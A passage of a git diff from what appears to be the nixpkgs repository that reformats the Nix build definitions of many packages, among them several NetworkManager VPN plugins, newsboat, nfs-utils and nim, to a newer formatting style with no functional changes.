-      echo "RGB_DB_PATH = $out/share/netpbm/misc/rgb.txt" >> config.mk
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      echo "LDSHLIB=-dynamiclib -install_name $out/lib/libnetpbm.\$(MAJ).dylib" >> config.mk
-      echo "NETPBMLIBTYPE = dylib" >> config.mk
-      echo "NETPBMLIBSUFFIX = dylib" >> config.mk
-    ''
-    + ''
-      runHook postConfigure
-    '';
+    # Fix path to rgb.txt
+    echo "RGB_DB_PATH = $out/share/netpbm/misc/rgb.txt" >> config.mk
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    echo "LDSHLIB=-dynamiclib -install_name $out/lib/libnetpbm.\$(MAJ).dylib" >> config.mk
+    echo "NETPBMLIBTYPE = dylib" >> config.mk
+    echo "NETPBMLIBSUFFIX = dylib" >> config.mk
+  ''
+  + ''
+    runHook postConfigure
+  '';
 
   env = lib.optionalAttrs stdenv.cc.isClang {
     NIX_CFLAGS_COMPILE = "-Wno-implicit-function-declaration";
diff --git a/pkgs/by-name/ne/netrw/package.nix b/pkgs/by-name/ne/netrw/package.nix
index 0c2f072f190d..989b549d8541 100644
--- a/pkgs/by-name/ne/netrw/package.nix
+++ b/pkgs/by-name/ne/netrw/package.nix
@@ -22,8 +22,7 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs =
-    lib.optional (checksumType == "mhash") libmhash
-    ++ lib.optional (checksumType == "openssl") openssl;
+    lib.optional (checksumType == "mhash") libmhash ++ lib.optional (checksumType == "openssl") openssl;
 
   src = fetchurl {
     urls = [
diff --git a/pkgs/by-name/ne/networkmanager-fortisslvpn/package.nix b/pkgs/by-name/ne/networkmanager-fortisslvpn/package.nix
index ec651b3b0a56..8968df7457b7 100644
--- a/pkgs/by-name/ne/networkmanager-fortisslvpn/package.nix
+++ b/pkgs/by-name/ne/networkmanager-fortisslvpn/package.nix
@@ -47,20 +47,19 @@ stdenv.mkDerivation rec {
     glib
   ];
 
-  buildInputs =
-    [
-      openfortivpn
-      networkmanager
-      ppp
-      glib
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      gtk4
-      libsecret
-      libnma
-      libnma-gtk4
-    ];
+  buildInputs = [
+    openfortivpn
+    networkmanager
+    ppp
+    glib
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    gtk4
+    libsecret
+    libnma
+    libnma-gtk4
+  ];
 
   configureFlags = [
     "--with-gnome=${if withGnome then "yes" else "no"}"
diff --git a/pkgs/by-name/ne/networkmanager-iodine/package.nix b/pkgs/by-name/ne/networkmanager-iodine/package.nix
index ad6ff0bad876..53e78038bd98 100644
--- a/pkgs/by-name/ne/networkmanager-iodine/package.nix
+++ b/pkgs/by-name/ne/networkmanager-iodine/package.nix
@@ -41,17 +41,16 @@ stdenv.mkDerivation {
     glib
   ];
 
-  buildInputs =
-    [
-      iodine
-      networkmanager
-      glib
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      libsecret
-      libnma
-    ];
+  buildInputs = [
+    iodine
+    networkmanager
+    glib
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    libsecret
+    libnma
+  ];
 
   configureFlags = [
     "--with-gnome=${if withGnome then "yes" else "no"}"
diff --git a/pkgs/by-name/ne/networkmanager-l2tp/package.nix b/pkgs/by-name/ne/networkmanager-l2tp/package.nix
index 2f726ee47d65..2e840c03bcf8 100644
--- a/pkgs/by-name/ne/networkmanager-l2tp/package.nix
+++ b/pkgs/by-name/ne/networkmanager-l2tp/package.nix
@@ -38,30 +38,28 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      glib # for gdbus-codegen
-      pkg-config
-    ]
-    ++ lib.optionals withGnome [
-      gtk4 # for gtk4-builder-tool
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    glib # for gdbus-codegen
+    pkg-config
+  ]
+  ++ lib.optionals withGnome [
+    gtk4 # for gtk4-builder-tool
+  ];
 
-  buildInputs =
-    [
-      networkmanager
-      ppp
-      openssl
-      nss
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      gtk4
-      libsecret
-      libnma
-      libnma-gtk4
-    ];
+  buildInputs = [
+    networkmanager
+    ppp
+    openssl
+    nss
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    gtk4
+    libsecret
+    libnma
+    libnma-gtk4
+  ];
 
   configureFlags = [
     "--with-gnome=${if withGnome then "yes" else "no"}"
diff --git a/pkgs/by-name/ne/networkmanager-openconnect/package.nix b/pkgs/by-name/ne/networkmanager-openconnect/package.nix
index 098be3d6fe68..0a4be3b984fe 100644
--- a/pkgs/by-name/ne/networkmanager-openconnect/package.nix
+++ b/pkgs/by-name/ne/networkmanager-openconnect/package.nix
@@ -37,21 +37,20 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  buildInputs =
-    [
-      libxml2
-      openconnect
-      networkmanager
-      webkitgtk_4_1 # required, for SSO
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      libnma
-      libnma-gtk4
-      gtk4
-      gcr
-      libsecret
-    ];
+  buildInputs = [
+    libxml2
+    openconnect
+    networkmanager
+    webkitgtk_4_1 # required, for SSO
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    libnma
+    libnma-gtk4
+    gtk4
+    gcr
+    libsecret
+  ];
 
   nativeBuildInputs = [
     glib
diff --git a/pkgs/by-name/ne/networkmanager-openvpn/package.nix b/pkgs/by-name/ne/networkmanager-openvpn/package.nix
index f2c5684b5356..56e02c52ea7b 100644
--- a/pkgs/by-name/ne/networkmanager-openvpn/package.nix
+++ b/pkgs/by-name/ne/networkmanager-openvpn/package.nix
@@ -43,18 +43,17 @@ stdenv.mkDerivation (finalAttrs: {
     libxml2
   ];
 
-  buildInputs =
-    [
-      openvpn
-      networkmanager
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      gtk4
-      libsecret
-      libnma
-      libnma-gtk4
-    ];
+  buildInputs = [
+    openvpn
+    networkmanager
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    gtk4
+    libsecret
+    libnma
+    libnma-gtk4
+  ];
 
   configureFlags = [
     "--with-gnome=${if withGnome then "yes" else "no"}"
diff --git a/pkgs/by-name/ne/networkmanager-sstp/package.nix b/pkgs/by-name/ne/networkmanager-sstp/package.nix
index e2a6547859ca..fb44c80c5e31 100644
--- a/pkgs/by-name/ne/networkmanager-sstp/package.nix
+++ b/pkgs/by-name/ne/networkmanager-sstp/package.nix
@@ -29,31 +29,29 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-zd+g86cZLyibLhYLal6XzUb9wFu7kHROp0KzRM95Qng=";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      file
-      gettext
-      glib # for gdbus-codegen
-      pkg-config
-    ]
-    ++ lib.optionals withGnome [
-      gtk4 # for gtk4-builder-tool
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    file
+    gettext
+    glib # for gdbus-codegen
+    pkg-config
+  ]
+  ++ lib.optionals withGnome [
+    gtk4 # for gtk4-builder-tool
+  ];
 
-  buildInputs =
-    [
-      sstp
-      networkmanager
-      ppp
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      gtk4
-      libsecret
-      libnma
-      libnma-gtk4
-    ];
+  buildInputs = [
+    sstp
+    networkmanager
+    ppp
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    gtk4
+    libsecret
+    libnma
+    libnma-gtk4
+  ];
 
   postPatch = ''
     sed -i 's#/sbin/pppd#${ppp}/bin/pppd#' src/nm-sstp-service.c
diff --git a/pkgs/by-name/ne/networkmanager-vpnc/package.nix b/pkgs/by-name/ne/networkmanager-vpnc/package.nix
index 23fd0bc5b595..e5eab9609e70 100644
--- a/pkgs/by-name/ne/networkmanager-vpnc/package.nix
+++ b/pkgs/by-name/ne/networkmanager-vpnc/package.nix
@@ -39,18 +39,17 @@ stdenv.mkDerivation rec {
     glib
   ];
 
-  buildInputs =
-    [
-      vpnc
-      networkmanager
-    ]
-    ++ lib.optionals withGnome [
-      gtk3
-      gtk4
-      libsecret
-      libnma
-      libnma-gtk4
-    ];
+  buildInputs = [
+    vpnc
+    networkmanager
+  ]
+  ++ lib.optionals withGnome [
+    gtk3
+    gtk4
+    libsecret
+    libnma
+    libnma-gtk4
+  ];
 
   configureFlags = [
     "--with-gnome=${if withGnome then "yes" else "no"}"
diff --git a/pkgs/by-name/ne/neuron/package.nix b/pkgs/by-name/ne/neuron/package.nix
index d6b7098654bc..1ca5854fa948 100644
--- a/pkgs/by-name/ne/neuron/package.nix
+++ b/pkgs/by-name/ne/neuron/package.nix
@@ -29,18 +29,17 @@ stdenv.mkDerivation (finalAttrs: {
   # format is for pythonModule conversion
   format = "other";
 
-  nativeBuildInputs =
-    [
-      cmake
-      bison
-      flex
-      git
-    ]
-    ++ optionals useCore [
-      perl
-      gsl
-    ]
-    ++ optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
+  nativeBuildInputs = [
+    cmake
+    bison
+    flex
+    git
+  ]
+  ++ optionals useCore [
+    perl
+    gsl
+  ]
+  ++ optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
   buildInputs = optionals useIv [
     xorg.libX11.dev
@@ -48,25 +47,24 @@ stdenv.mkDerivation (finalAttrs: {
     xorg.libXext.dev
   ];
 
-  propagatedBuildInputs =
-    [
-      readline
-      python3
-      python3.pkgs.wheel
-      python3.pkgs.setuptools
-      python3.pkgs.scikit-build
-      python3.pkgs.matplotlib
-    ]
-    ++ optionals useMpi [
-      mpi
-    ]
-    ++ optionals useMpi [
-      python3.pkgs.mpi4py
-    ]
-    ++ optionals useRx3d [
-      python3.pkgs.cython_0 # NOTE: cython<3 is required as of 8.2.6
-      python3.pkgs.numpy
-    ];
+  propagatedBuildInputs = [
+    readline
+    python3
+    python3.pkgs.wheel
+    python3.pkgs.setuptools
+    python3.pkgs.scikit-build
+    python3.pkgs.matplotlib
+  ]
+  ++ optionals useMpi [
+    mpi
+  ]
+  ++ optionals useMpi [
+    python3.pkgs.mpi4py
+  ]
+  ++ optionals useRx3d [
+    python3.pkgs.cython_0 # NOTE: cython<3 is required as of 8.2.6
+    python3.pkgs.numpy
+  ];
 
   # Patch build shells for cmake (bin, src, cmake) and submodules (external)
   postPatch = ''
diff --git a/pkgs/by-name/ne/neverest/package.nix b/pkgs/by-name/ne/neverest/package.nix
index fd45a8ee81cd..6e758d6bc2d0 100644
--- a/pkgs/by-name/ne/neverest/package.nix
+++ b/pkgs/by-name/ne/neverest/package.nix
@@ -33,7 +33,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     pkg-config
-  ] ++ lib.optional (installManPages || installShellCompletions) installShellFiles;
+  ]
+  ++ lib.optional (installManPages || installShellCompletions) installShellFiles;
 
   buildInputs = lib.optional (builtins.elem "notmuch" buildFeatures) notmuch;
 
diff --git a/pkgs/by-name/ne/newsboat/package.nix b/pkgs/by-name/ne/newsboat/package.nix
index 8e9d82719ffd..44edf5b4005c 100644
--- a/pkgs/by-name/ne/newsboat/package.nix
+++ b/pkgs/by-name/ne/newsboat/package.nix
@@ -38,30 +38,28 @@ rustPlatform.buildRustPackage (finalAttrs: {
       --replace "ncurses5.4" "ncurses"
   '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      asciidoctor
-      gettext
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      makeWrapper
-      ncurses
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    asciidoctor
+    gettext
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    makeWrapper
+    ncurses
+  ];
 
-  buildInputs =
-    [
-      stfl
-      sqlite
-      curl
-      libxml2
-      json_c
-      ncurses
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      gettext
-    ];
+  buildInputs = [
+    stfl
+    sqlite
+    curl
+    libxml2
+    json_c
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    gettext
+  ];
 
   postBuild = ''
     make -j $NIX_BUILD_CORES prefix="$out"
@@ -80,15 +78,14 @@ rustPlatform.buildRustPackage (finalAttrs: {
     make -j $NIX_BUILD_CORES test
   '';
 
-  postInstall =
-    ''
-      make -j $NIX_BUILD_CORES prefix="$out" install
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for prog in $out/bin/*; do
-        wrapProgram "$prog" --prefix DYLD_LIBRARY_PATH : "${stfl}/lib"
-      done
-    '';
+  postInstall = ''
+    make -j $NIX_BUILD_CORES prefix="$out" install
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    for prog in $out/bin/*; do
+      wrapProgram "$prog" --prefix DYLD_LIBRARY_PATH : "${stfl}/lib"
+    done
+  '';
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/ne/newsflash/package.nix b/pkgs/by-name/ne/newsflash/package.nix
index e534e2e76df9..c17321a94ecf 100644
--- a/pkgs/by-name/ne/newsflash/package.nix
+++ b/pkgs/by-name/ne/newsflash/package.nix
@@ -64,29 +64,28 @@ stdenv.mkDerivation (finalAttrs: {
 
   ];
 
-  buildInputs =
-    [
-      clapper-unwrapped
-      gtk4
-      libadwaita
-      libxml2
-      openssl
-      sqlite
-      webkitgtk_6_0
+  buildInputs = [
+    clapper-unwrapped
+    gtk4
+    libadwaita
+    libxml2
+    openssl
+    sqlite
+    webkitgtk_6_0
 
-      # TLS support for loading external content in webkitgtk WebView
-      glib-networking
+    # TLS support for loading external content in webkitgtk WebView
+    glib-networking
 
-      # SVG support for gdk-pixbuf
-      librsvg
-    ]
-    ++ (with gst_all_1; [
-      # Audio & video support for webkitgtk WebView
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+    # SVG support for gdk-pixbuf
+    librsvg
+  ]
+  ++ (with gst_all_1; [
+    # Audio & video support for webkitgtk WebView
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   passthru.updateScript = gitUpdater { rev-prefix = "v."; };
 
diff --git a/pkgs/by-name/ne/newt/package.nix b/pkgs/by-name/ne/newt/package.nix
index 94459d70d674..85e051a82f05 100644
--- a/pkgs/by-name/ne/newt/package.nix
+++ b/pkgs/by-name/ne/newt/package.nix
@@ -34,14 +34,13 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
   nativeBuildInputs = [ python3 ];
-  buildInputs =
-    [
-      slang
-      popt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gettext # for darwin with clang
-    ];
+  buildInputs = [
+    slang
+    popt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gettext # for darwin with clang
+  ];
 
   NIX_LDFLAGS =
     "-lncurses"
@@ -78,11 +77,9 @@ stdenv.mkDerivation rec {
           ... which is implemented by `runCommand`,
           ... which has a custom builder and does not run $preDistPhases
       */
-      postBuild =
-        postBuild
-        + ''
-          runPhase pythonImportsCheckPhase
-        '';
+      postBuild = postBuild + ''
+        runPhase pythonImportsCheckPhase
+      '';
     }
   );
 
diff --git a/pkgs/by-name/ne/nextcloud-talk-desktop/package.nix b/pkgs/by-name/ne/nextcloud-talk-desktop/package.nix
index 391a454af7dc..e8858341eff6 100644
--- a/pkgs/by-name/ne/nextcloud-talk-desktop/package.nix
+++ b/pkgs/by-name/ne/nextcloud-talk-desktop/package.nix
@@ -45,29 +45,28 @@ stdenv.mkDerivation (finalAttrs: {
     copyDesktopItems
   ];
 
-  buildInputs =
-    [
-      nss
-      cairo
-      alsa-lib
-      at-spi2-core
-      pango
-      libdrm
-      libxkbcommon
-      gtk3
-      vivaldi-ffmpeg-codecs
-      libgbm
-      libGL
-      libglvnd
-    ]
-    ++ (with xorg; [
-      libX11
-      libXcomposite
-      libXdamage
-      libXrandr
-      libXfixes
-      libXcursor
-    ]);
+  buildInputs = [
+    nss
+    cairo
+    alsa-lib
+    at-spi2-core
+    pango
+    libdrm
+    libxkbcommon
+    gtk3
+    vivaldi-ffmpeg-codecs
+    libgbm
+    libGL
+    libglvnd
+  ]
+  ++ (with xorg; [
+    libX11
+    libXcomposite
+    libXdamage
+    libXrandr
+    libXfixes
+    libXcursor
+  ]);
 
   # Required to launch the application and proceed past the zygote_linux fork() process
   # Fixes `Zygote could not fork`
diff --git a/pkgs/by-name/ne/nextpnr/package.nix b/pkgs/by-name/ne/nextpnr/package.nix
index 30d0fb69093c..fcfbc48c6f9f 100644
--- a/pkgs/by-name/ne/nextpnr/package.nix
+++ b/pkgs/by-name/ne/nextpnr/package.nix
@@ -54,15 +54,15 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     cmake
     python3
-  ] ++ (lib.optional enableGui wrapQtAppsHook);
-  buildInputs =
-    [
-      boostPython
-      eigen
-      python3Packages.apycula
-    ]
-    ++ (lib.optional enableGui qtbase)
-    ++ (lib.optional stdenv.cc.isClang llvmPackages.openmp);
+  ]
+  ++ (lib.optional enableGui wrapQtAppsHook);
+  buildInputs = [
+    boostPython
+    eigen
+    python3Packages.apycula
+  ]
+  ++ (lib.optional enableGui qtbase)
+  ++ (lib.optional stdenv.cc.isClang llvmPackages.openmp);
 
   cmakeFlags =
     let
diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index ddcb75568aa9..783b313bcd8d 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -136,22 +136,21 @@ buildDotnetModule (finalAttrs: {
     "RequiresNetworking!=True"
   ];
 
-  disabledTests =
-    [
-      # Fails attempting to download game hashes DB from github:
-      # HttpRequestException : Resource temporarily unavailable (github.com:443)
-      "NexusMods.DataModel.SchemaVersions.Tests.LegacyDatabaseSupportTests.TestDatabase"
-      "NexusMods.DataModel.SchemaVersions.Tests.MigrationSpecificTests.TestsFor_0001_ConvertTimestamps.OldTimestampsAreInRange"
-      "NexusMods.DataModel.SchemaVersions.Tests.MigrationSpecificTests.TestsFor_0003_FixDuplicates.No_Duplicates"
-      "NexusMods.DataModel.SchemaVersions.Tests.MigrationSpecificTests.TestsFor_0004_RemoveGameFiles.Test"
+  disabledTests = [
+    # Fails attempting to download game hashes DB from github:
+    # HttpRequestException : Resource temporarily unavailable (github.com:443)
+    "NexusMods.DataModel.SchemaVersions.Tests.LegacyDatabaseSupportTests.TestDatabase"
+    "NexusMods.DataModel.SchemaVersions.Tests.MigrationSpecificTests.TestsFor_0001_ConvertTimestamps.OldTimestampsAreInRange"
+    "NexusMods.DataModel.SchemaVersions.Tests.MigrationSpecificTests.TestsFor_0003_FixDuplicates.No_Duplicates"
+    "NexusMods.DataModel.SchemaVersions.Tests.MigrationSpecificTests.TestsFor_0004_RemoveGameFiles.Test"
 
-      # Fails attempting to fetch SMAPI version data from github:
-      # https://github.com/erri120/smapi-versions/raw/main/data/game-smapi-versions.json
-      "NexusMods.Games.StardewValley.Tests.SMAPIGameVersionDiagnosticEmitterTests.Test_TryGetLastSupportedSMAPIVersion"
-    ]
-    ++ lib.optionals (!_7zz.meta.unfree) [
-      "NexusMods.Games.FOMOD.Tests.FomodXmlInstallerTests.InstallsFilesSimple_UsingRar"
-    ];
+    # Fails attempting to fetch SMAPI version data from github:
+    # https://github.com/erri120/smapi-versions/raw/main/data/game-smapi-versions.json
+    "NexusMods.Games.StardewValley.Tests.SMAPIGameVersionDiagnosticEmitterTests.Test_TryGetLastSupportedSMAPIVersion"
+  ]
+  ++ lib.optionals (!_7zz.meta.unfree) [
+    "NexusMods.Games.FOMOD.Tests.FomodXmlInstallerTests.InstallsFilesSimple_UsingRar"
+  ];
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/ne/nezha/package.nix b/pkgs/by-name/ne/nezha/package.nix
index 48509c03fdef..db22c3027102 100644
--- a/pkgs/by-name/ne/nezha/package.nix
+++ b/pkgs/by-name/ne/nezha/package.nix
@@ -63,21 +63,20 @@ buildGo124Module {
 
   proxyVendor = true;
 
-  prePatch =
-    ''
-      rm -rf cmd/dashboard/*-dist
+  prePatch = ''
+    rm -rf cmd/dashboard/*-dist
 
-      cp ${frontend-templates} service/singleton/frontend-templates.yaml
-    ''
-    + lib.concatStringsSep "\n" (
-      map (theme: "cp -r ${theme} cmd/dashboard/${frontendName theme.pname}-dist") (
-        [
-          nezha-theme-admin
-          nezha-theme-user
-        ]
-        ++ withThemes
-      )
-    );
+    cp ${frontend-templates} service/singleton/frontend-templates.yaml
+  ''
+  + lib.concatStringsSep "\n" (
+    map (theme: "cp -r ${theme} cmd/dashboard/${frontendName theme.pname}-dist") (
+      [
+        nezha-theme-admin
+        nezha-theme-user
+      ]
+      ++ withThemes
+    )
+  );
 
   patches = [
     # Nezha originally used ipinfo.mmdb to provide geoip query feature.
diff --git a/pkgs/by-name/nf/nfd/package.nix b/pkgs/by-name/nf/nfd/package.nix
index ebf53f721914..a98ec3fcfeae 100644
--- a/pkgs/by-name/nf/nfd/package.nix
+++ b/pkgs/by-name/nf/nfd/package.nix
@@ -35,18 +35,18 @@ stdenv.mkDerivation rec {
     sphinx
     wafHook
   ];
-  buildInputs =
-    [
-      libpcap
-      ndn-cxx
-      openssl
-    ]
-    ++ lib.optional withWebSocket websocketpp
-    ++ lib.optional withSystemd systemd;
+  buildInputs = [
+    libpcap
+    ndn-cxx
+    openssl
+  ]
+  ++ lib.optional withWebSocket websocketpp
+  ++ lib.optional withSystemd systemd;
   wafConfigureFlags = [
     "--boost-includes=${boost186.dev}/include"
     "--boost-libs=${boost186.out}/lib"
-  ] ++ lib.optional (!withWebSocket) "--without-websocket";
+  ]
+  ++ lib.optional (!withWebSocket) "--without-websocket";
 
   meta = with lib; {
     homepage = "https://named-data.net/";
diff --git a/pkgs/by-name/nf/nfs-utils/package.nix b/pkgs/by-name/nf/nfs-utils/package.nix
index 532f87fecf11..7db99d06e36b 100644
--- a/pkgs/by-name/nf/nfs-utils/package.nix
+++ b/pkgs/by-name/nf/nfs-utils/package.nix
@@ -60,24 +60,23 @@ stdenv.mkDerivation rec {
     rpcsvc-proto
   ];
 
-  buildInputs =
-    [
-      libtirpc
-      libcap
-      libevent
-      sqlite
-      lvm2
-      libuuid
-      keyutils
-      libkrb5
-      tcp_wrappers
-      libxml2
-    ]
-    ++ lib.optional enablePython python3
-    ++ lib.optionals enableLdap [
-      openldap
-      cyrus_sasl
-    ];
+  buildInputs = [
+    libtirpc
+    libcap
+    libevent
+    sqlite
+    lvm2
+    libuuid
+    keyutils
+    libkrb5
+    tcp_wrappers
+    libxml2
+  ]
+  ++ lib.optional enablePython python3
+  ++ lib.optionals enableLdap [
+    openldap
+    cyrus_sasl
+  ];
 
   enableParallelBuilding = true;
 
@@ -98,7 +97,8 @@ stdenv.mkDerivation rec {
     "--with-pluginpath=${placeholder "lib"}/lib/libnfsidmap" # this installs libnfsidmap
     "--with-rpcgen=${buildPackages.rpcsvc-proto}/bin/rpcgen"
     "--with-modprobedir=${placeholder "out"}/etc/modprobe.d"
-  ] ++ lib.optional enableLdap "--enable-ldap";
+  ]
+  ++ lib.optional enableLdap "--enable-ldap";
 
   patches = lib.optionals stdenv.hostPlatform.isMusl [
     # http://openwall.com/lists/musl/2015/08/18/10
@@ -154,18 +154,17 @@ stdenv.mkDerivation rec {
     "etc/systemd/system-generators"
   ];
 
-  postInstall =
-    ''
-      # Not used on NixOS
-      sed -i \
-        -e "s,/sbin/modprobe,${kmod}/bin/modprobe,g" \
-        -e "s,/usr/sbin,$out/bin,g" \
-        $out/etc/systemd/system/*
-    ''
-    + lib.optionalString (!enablePython) ''
-      # Remove all scripts that require python (currently mountstats and nfsiostat)
-      grep -l /usr/bin/python $out/bin/* | xargs -I {} rm -v {}
-    '';
+  postInstall = ''
+    # Not used on NixOS
+    sed -i \
+      -e "s,/sbin/modprobe,${kmod}/bin/modprobe,g" \
+      -e "s,/usr/sbin,$out/bin,g" \
+      $out/etc/systemd/system/*
+  ''
+  + lib.optionalString (!enablePython) ''
+    # Remove all scripts that require python (currently mountstats and nfsiostat)
+    grep -l /usr/bin/python $out/bin/* | xargs -I {} rm -v {}
+  '';
 
   # One test fails on mips.
   # doCheck = !stdenv.hostPlatform.isMips;
diff --git a/pkgs/by-name/nh/nheko/package.nix b/pkgs/by-name/nh/nheko/package.nix
index bd1fe4e56900..da6de4c45f93 100644
--- a/pkgs/by-name/nh/nheko/package.nix
+++ b/pkgs/by-name/nh/nheko/package.nix
@@ -43,36 +43,35 @@ stdenv.mkDerivation rec {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      boost
-      cmark
-      coeurl
-      curl
-      kdsingleapplication
-      libevent
-      libsecret
-      lmdb
-      mtxclient
-      nlohmann_json
-      olm
-      qt6Packages.qtbase
-      qt6Packages.qtimageformats
-      qt6Packages.qtkeychain
-      qt6Packages.qtmultimedia
-      qt6Packages.qttools
-      qt6Packages.qtwayland
-      qt6Packages.qt-jdenticon
-      re2
-      spdlog
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      (gst-plugins-good.override { qt6Support = true; })
-      gst-plugins-bad
-      libnice
-    ]);
+  buildInputs = [
+    boost
+    cmark
+    coeurl
+    curl
+    kdsingleapplication
+    libevent
+    libsecret
+    lmdb
+    mtxclient
+    nlohmann_json
+    olm
+    qt6Packages.qtbase
+    qt6Packages.qtimageformats
+    qt6Packages.qtkeychain
+    qt6Packages.qtmultimedia
+    qt6Packages.qttools
+    qt6Packages.qtwayland
+    qt6Packages.qt-jdenticon
+    re2
+    spdlog
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    (gst-plugins-good.override { qt6Support = true; })
+    gst-plugins-bad
+    libnice
+  ]);
 
   cmakeFlags = [
     "-DCOMPILE_QML=ON" # see https://github.com/Nheko-Reborn/nheko/issues/389
diff --git a/pkgs/by-name/ni/nickel/package.nix b/pkgs/by-name/ni/nickel/package.nix
index 5435356e206e..7e811d817dbd 100644
--- a/pkgs/by-name/ni/nickel/package.nix
+++ b/pkgs/by-name/ni/nickel/package.nix
@@ -31,14 +31,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "-p nickel-lang-lsp"
   ];
 
-  nativeBuildInputs =
-    [
-      python3
-      gitMinimal
-    ]
-    ++ lib.optionals enableNixImport [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    python3
+    gitMinimal
+  ]
+  ++ lib.optionals enableNixImport [
+    pkg-config
+  ];
 
   buildInputs = lib.optionals enableNixImport [
     nixVersions.nix_2_24
diff --git a/pkgs/by-name/ni/nim-2_2/package.nix b/pkgs/by-name/ni/nim-2_2/package.nix
index 61f58db18dae..322d3711f903 100644
--- a/pkgs/by-name/ni/nim-2_2/package.nix
+++ b/pkgs/by-name/ni/nim-2_2/package.nix
@@ -104,38 +104,37 @@ let
         # Use the custom configuration
       ];
 
-      installPhase =
-        ''
-          runHook preInstall
+      installPhase = ''
+        runHook preInstall
 
-          mkdir -p $out/bin $out/etc
+        mkdir -p $out/bin $out/etc
 
-          cp -r config $out/etc/nim
-
-          for binpath in ${nimUnwrapped}/bin/nim?*; do
-            local binname=`basename $binpath`
-            makeWrapper \
-              $binpath $out/bin/${targetPlatformConfig}-$binname \
-              $wrapperArgs
-            ln -s $out/bin/${targetPlatformConfig}-$binname $out/bin/$binname
-          done
+        cp -r config $out/etc/nim
 
+        for binpath in ${nimUnwrapped}/bin/nim?*; do
+          local binname=`basename $binpath`
           makeWrapper \
-            ${nimUnwrapped}/nim/bin/nim $out/bin/${targetPlatformConfig}-nim \
-            --set-default CC $(command -v $CC) \
-            --set-default CXX $(command -v $CXX) \
+            $binpath $out/bin/${targetPlatformConfig}-$binname \
             $wrapperArgs
-          ln -s $out/bin/${targetPlatformConfig}-nim $out/bin/nim
+          ln -s $out/bin/${targetPlatformConfig}-$binname $out/bin/$binname
+        done
 
-          makeWrapper \
-            ${nimUnwrapped}/bin/testament $out/bin/${targetPlatformConfig}-testament \
-            $wrapperArgs
-          ln -s $out/bin/${targetPlatformConfig}-testament $out/bin/testament
+        makeWrapper \
+          ${nimUnwrapped}/nim/bin/nim $out/bin/${targetPlatformConfig}-nim \
+          --set-default CC $(command -v $CC) \
+          --set-default CXX $(command -v $CXX) \
+          $wrapperArgs
+        ln -s $out/bin/${targetPlatformConfig}-nim $out/bin/nim
 
-        ''
-        + ''
-          runHook postInstall
-        '';
+        makeWrapper \
+          ${nimUnwrapped}/bin/testament $out/bin/${targetPlatformConfig}-testament \
+          $wrapperArgs
+        ln -s $out/bin/${targetPlatformConfig}-testament $out/bin/testament
+
+      ''
+      + ''
+        runHook postInstall
+      '';
 
       passthru = nimUnwrapped.passthru // {
         inherit wrapNim;
diff --git a/pkgs/by-name/ni/nim-unwrapped-2_2/package.nix b/pkgs/by-name/ni/nim-unwrapped-2_2/package.nix
index f2a00ece01c0..eeed61094494 100644
--- a/pkgs/by-name/ni/nim-unwrapped-2_2/package.nix
+++ b/pkgs/by-name/ni/nim-unwrapped-2_2/package.nix
@@ -134,14 +134,13 @@ stdenv.mkDerivation (finalAttrs: {
       runHook postConfigure
     '';
 
-  kochArgs =
-    [
-      "--cpu:${nimHost.cpu}"
-      "--os:${nimHost.os}"
-      "-d:release"
-      "-d:useGnuReadline"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isDarwin || stdenv.hostPlatform.isLinux) "-d:nativeStacktrace";
+  kochArgs = [
+    "--cpu:${nimHost.cpu}"
+    "--os:${nimHost.os}"
+    "-d:release"
+    "-d:useGnuReadline"
+  ]
